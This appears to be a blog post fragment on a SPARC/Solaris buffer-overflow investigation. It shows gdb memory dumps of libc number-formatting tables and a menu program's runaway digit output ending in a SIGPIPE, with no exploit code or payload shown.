0xff325a84 <__four_digits_quick_table+3954>:    0x30343739      0x31323739      0x32303739      0x32383739
0xff325a94 <__four_digits_quick_table+3970>:    0x33363739      0x34343739      0x35323739      0x36303739
0xff325aa4 <__four_digits_quick_table+3986>:    0x36383739      0x37363739      0x38343739      0x39323830
0xff325ab4 <__four_digits_quick_table+4002>:    0x30303830      0x30383830      0x31363830      0x32343830
(gdb)
0xff325ac4 <__four_digits_quick_table+4018>:    0x33323830      0x34303830      0x34383830      0x35363830
0xff325ad4 <__four_digits_quick_table+4034>:    0x36343830      0x37323830      0x38303830      0x38383830
0xff325ae4 <__four_digits_quick_table+4050>:    0x39363831      0x30343831      0x31323831      0x32303831
0xff325af4 <__four_digits_quick_table+4066>:    0x32383831      0x33363831      0x34343831      0x35323831
0xff325b04 <__four_digits_quick_table+4082>:    0x36303831      0x36383831      0x37363831      0x38343831
0xff325b14 <__four_digits_quick_table+4098>:    0x39323832      0x30303832      0x30383832      0x31363832
0xff325b24 <__four_digits_quick_table+4114>:    0x32343832      0x33323832      0x34303832      0x34383832
0xff325b34 <__four_digits_quick_table+4130>:    0x35363832      0x36343832      0x37323832      0x38303832
0xff325b44 <__four_digits_quick_table+4146>:    0x38383832      0x39363833      0x30343833      0x31323833
0xff325b54 <__four_digits_quick_table+4162>:    0x32303833      0x32383833      0x33363833      0x34343833
0xff325b64 <__four_digits_quick_table+4178>:    0x35323833      0x36303833      0x36383833      0x37363833
0xff325b74 <__four_digits_quick_table+4194>:    0x38343833      0x39323834      0x30303834      0x30383834
0xff325b84 <__four_digits_quick_table+4210>:    0x31363834      0x32343834      0x33323834      0x34303834
0xff325b94 <__four_digits_quick_table+4226>:    0x34383834      0x35363834      0x36343834      0x37323834
0xff325ba4 <__four_digits_quick_table+4242>:    0x38303834      0x38383834      0x39363835      0x30343835
0xff325bb4 <__four_digits_quick_table+4258>:    0x31323835      0x32303835      0x32383835      0x33363835
0xff325bc4 <__four_digits_quick_table+4274>:    0x34343835      0x35323835      0x36303835      0x36383835
0xff325bd4 <__four_digits_quick_table+4290>:    0x37363835      0x38343835      0x39323836      0x30303836
0xff325be4 <__four_digits_quick_table+4306>:    0x30383836      0x31363836      0x32343836      0x33323836
0xff325bf4 <__four_digits_quick_table+4322>:    0x34303836      0x34383836      0x35363836      0x36343836
0xff325c04 <__four_digits_quick_table+4338>:    0x37323836      0x38303836      0x38383836      0x39363837
0xff325c14 <__four_digits_quick_table+4354>:    0x30343837      0x31323837      0x32303837      0x32383837
0xff325c24 <__four_digits_quick_table+4370>:    0x33363837      0x34343837      0x35323837      0x36303837
0xff325c34 <__four_digits_quick_table+4386>:    0x36383837      0x37363837      0x38343837      0x39323838
(gdb)
0xff325c44 <__four_digits_quick_table+4402>:    0x30303838      0x30383838      0x31363838      0x32343838
0xff325c54 <__four_digits_quick_table+4418>:    0x33323838      0x34303838      0x34383838      0x35363838
0xff325c64 <__four_digits_quick_table+4434>:    0x36343838      0x37323838      0x38303838      0x38383838
0xff325c74 <__four_digits_quick_table+4450>:    0x39363839      0x30343839      0x31323839      0x32303839
0xff325c84 <__four_digits_quick_table+4466>:    0x32383839      0x33363839      0x34343839      0x35323839
0xff325c94 <__four_digits_quick_table+4482>:    0x36303839      0x36383839      0x37363839      0x38343839
0xff325ca4 <__four_digits_quick_table+4498>:    0x39323930      0x30303930      0x30383930      0x31363930
0xff325cb4 <__four_digits_quick_table+4514>:    0x32343930      0x33323930      0x34303930      0x34383930
0xff325cc4 <__four_digits_quick_table+4530>:    0x35363930      0x36343930      0x37323930      0x38303930
0xff325cd4 <__four_digits_quick_table+4546>:    0x38383930      0x39363931      0x30343931      0x31323931
0xff325ce4 <__four_digits_quick_table+4562>:    0x32303931      0x32383931      0x33363931      0x34343931
0xff325cf4 <__four_digits_quick_table+4578>:    0x35323931      0x36303931      0x36383931      0x37363931
0xff325d04 <__four_digits_quick_table+4594>:    0x38343931      0x39323932      0x30303932      0x30383932
0xff325d14 <__four_digits_quick_table+4610>:    0x31363932      0x32343932      0x33323932      0x34303932
0xff325d24 <__four_digits_quick_table+4626>:    0x34383932      0x35363932      0x36343932      0x37323932
0xff325d34 <__four_digits_quick_table+4642>:    0x38303932      0x38383932      0x39363933      0x30343933
0xff325d44 <__four_digits_quick_table+4658>:    0x31323933      0x32303933      0x32383933      0x33363933
0xff325d54 <__four_digits_quick_table+4674>:    0x34343933      0x35323933      0x36303933      0x36383933
0xff325d64 <__four_digits_quick_table+4690>:    0x37363933      0x38343933      0x39323934      0x30303934
0xff325d74 <__four_digits_quick_table+4706>:    0x30383934      0x31363934      0x32343934      0x33323934
0xff325d84 <__four_digits_quick_table+4722>:    0x34303934      0x34383934      0x35363934      0x36343934
0xff325d94 <__four_digits_quick_table+4738>:    0x37323934      0x38303934      0x38383934      0x39363935
0xff325da4 <__four_digits_quick_table+4754>:    0x30343935      0x31323935      0x32303935      0x32383935
0xff325db4 <__four_digits_quick_table+4770>:    0x33363935      0x34343935      0x35323935      0x36303935
(gdb)
0xff325dc4 <__four_digits_quick_table+4786>:    0x36383935      0x37363935      0x38343935      0x39323936
0xff325dd4 <__four_digits_quick_table+4802>:    0x30303936      0x30383936      0x31363936      0x32343936
0xff325de4 <__four_digits_quick_table+4818>:    0x33323936      0x34303936      0x34383936      0x35363936
0xff325df4 <__four_digits_quick_table+4834>:    0x36343936      0x37323936      0x38303936      0x38383936
0xff325e04 <__four_digits_quick_table+4850>:    0x39363937      0x30343937      0x31323937      0x32303937
0xff325e14 <__four_digits_quick_table+4866>:    0x32383937      0x33363937      0x34343937      0x35323937
0xff325e24 <__four_digits_quick_table+4882>:    0x36303937      0x36383937      0x37363937      0x38343937
0xff325e34 <__four_digits_quick_table+4898>:    0x39323938      0x30303938      0x30383938      0x31363938
0xff325e44 <__four_digits_quick_table+4914>:    0x32343938      0x33323938      0x34303938      0x34383938
0xff325e54 <__four_digits_quick_table+4930>:    0x35363938      0x36343938      0x37323938      0x38303938
0xff325e64 <__four_digits_quick_table+4946>:    0x38383938      0x39363939      0x30343939      0x31323939
0xff325e74 <__four_digits_quick_table+4962>:    0x32303939      0x32383939      0x33363939      0x34343939
0xff325e84 <__four_digits_quick_table+4978>:    0x35323939      0x36303939      0x36383939      0x37363939
0xff325e94 <__four_digits_quick_table+4994>:    0x38343939      0x39320000      0x00000000      0x3ff00000
0xff325ea4 <__tbl_ntens+4>:     0x00000000      0x3fb99999      0x9999999a      0x3f847ae1
0xff325eb4 <__tbl_ntens+20>:    0x47ae147b      0x3f50624d      0xd2f1a9fc      0x3f1a36e2
0xff325ec4 <__tbl_ntens+36>:    0xeb1c432d      0x3ee4f8b5      0x88e368f1      0x3eb0c6f7
0xff325ed4 <__tbl_ntens+52>:    0xa0b5ed8d      0x3e7ad7f2      0x9abcaf48      0x3e45798e
0xff325ee4 <__tbl_ntens+68>:    0xe2308c3a      0x3e112e0b      0xe826d695      0x3ddb7cdf
0xff325ef4 <__tbl_ntens+84>:    0xd9d7bdbb      0x3da5fd7f      0xe1796495      0x3d719799
0xff325f04 <__tbl_ntens+100>:   0x812dea11      0x3d3c25c2      0x68497682      0x3d06849b
0xff325f14 <__tbl_ntens+116>:   0x86a12b9b      0x3cd203af      0x9ee75616      0x3c9cd2b2
0xff325f24 <__tbl_ntens+132>:   0x97d889bc      0x3c670ef5      0x4646d497      0x3c32725d
0xff325f34 <__tbl_ntens+148>:   0xd1d243ac      0x3bfd83c9      0x4fb6d2ac      0x3bc79ca1

.....
0xff324b6cPress RETURN to see menu again; 'q' to quit adding groups; '?' for more help.
                                                                                       Please enter a group number [1-43] or command [cptqx?] : These are the categories of accounts:
                                       1) 7601840192020002080216022402320240024802560264027202800288029603040312032003280336034403520360036803760384039204000408041604240432044004480456046404720480048804960504051205200528053605440552056005680576058405920600060806160624063206400648065606640672068006880696070407120720072807360744075207600768077607840792080008080816082408320840084808560864087208800888089609040912092009280936094409520960096809760984099210001008101610241032104010481056106410721080108810961104111211201128113611441152116011681176118411921200120812161224123212401248125612641272128012881296130413121320132813361344135213601368137613841392140014081416142414321440144814561464147214801488149615041512152015281536154415521560156815761584159216001608161616241632164016481656166416721680168816961704171217201728173617441752176017681776178417921800180818161824183218401848185618641872188018881896190419121920192819361944195219601968197619841992200020082016202420322040204820562064207220802088209621042112212021282136214421522160216821762184219222002208221622242232224022482256226422722280228822962304231223202328233623442352236023682376238423922400240824162424243224402448245624642472248024882496250425122520252825362544255225602568257625842592260026082616262426322640264826562664267226802688269627042712272027282736274427522760276827762784279228002808281628242832284028482856286428722880288828962904291229202928293629442952296029682976298429923000300830163024303230403048305630643072308030883096310431123120312831363144315231603168317631843192320032083216322432323240324832563264327232803288329633043312332033283336334433523360336833763384339234003408341634243432344034483456346434723480348834963504351235203528353635443552356035683576358435923600360836163624363236403648365636643672368036883696370437123720372837363744375237603768377637843792380038083816382438323840384838563864387238803888389639043912392039283936394439523960396839763984399240004008401640244032404040484056406440724080408840964104411241204128413641444152416041684176418441924200420842164224423242404248425642644272428042884296430443124320432843364344435243604368437643844392440044084416442444324440444844564464447244804488449645044512452045284536454445524560456845764584459246004608461646244632464046484656466446724680468846964704471247204728473647444752476047684776478447924800480848164824483248404848485648644872488048884896490449124920492849364944495249604968497649844992500050085016502450325040504850565064507250805088509651045112512051285136514451525160516851765184519252005208521652245232524052485256526452725280528852965304531253205328533653445352536053685376538453925400540854165424543254405448545654645472548054885496550455125520552855365544555255605568557655845592560056085616562456325640564856565664567256805688569657045712572057285736574457525760576857765784579258005808581658245832584058485856586458725880588858965904591259205928593659445952596059685976598459926000600860166024603260406048605660646072608060886096610461126120612861366144615261606168617661846192620062086216622462326240624862566264627262806288629663046312632063286336634463526360636863766384639264006408641664246432644064486456646464726480648864966504651265206528653665446552656065686576658465926600660866166624663266406648665666646672668066886696670467126720672867366744675267606768677667846792680068086816682468326840684868566864687268806888689669046912692069286936694469526960696869766984699270007008701670247032704070487056706470727080708870967104711271207128713671447152716071687176718471927200720872167224723272407248725672647272728072887296730473127320732873367344735273607368737673847392740074087416742474327440744874567464747274807488749675047512752075        44755275607568757675847592760076--More--
Program received signal SIGPIPE, Broken pipe.
Posted in Asm, buffer overflow, C, Sparc/Solaris, Uncategorized

Leave a Reply

Your email address will not be published. Required fields are marked *

*

Skip to toolbar